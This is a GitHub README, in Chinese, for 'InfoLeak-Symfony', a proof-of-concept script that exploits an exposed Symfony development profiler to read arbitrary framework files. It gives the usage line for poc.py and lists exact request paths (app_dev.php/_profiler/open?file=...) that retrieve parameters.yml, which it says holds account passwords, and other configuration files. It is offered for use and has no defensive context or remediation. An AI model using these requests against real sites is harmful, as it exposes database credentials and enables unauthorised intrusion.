Skip to content

Latest commit

 

History

History
14 lines (13 loc) · 832 Bytes

README.md

File metadata and controls

14 lines (13 loc) · 832 Bytes

InfoLeak-Symfony

InfoLeak-Symfony usage: python3 poc.py http://xxxx.xx 这是Symfony框架的一个文件读取 Symfony为web框架,该漏洞为本地文件读取,可读取Symfony框架下的任意文件(非系统文件)。利用该漏洞可读取Symfony配置文件

靶标位置为: https://xxx/app_dev.php/_profiler/open?file=app/config/parameters.yml #database所在地 该文件为Symfony的配置文件,含有各类的账号密码。 其他配置文件有: https://xxx/app_dev.php/_profiler/ # 面板 https://xxx/app_dev.php/_profiler/open?file=app/config/config.yml # 其他配置信息 https://xxx/app_dev.php/_profiler/open?file=app/config/security.yml # 其他配置信息 https://xxx/app_dev.php/_profiler/open?file=app/config/services.yml # 其他配置信息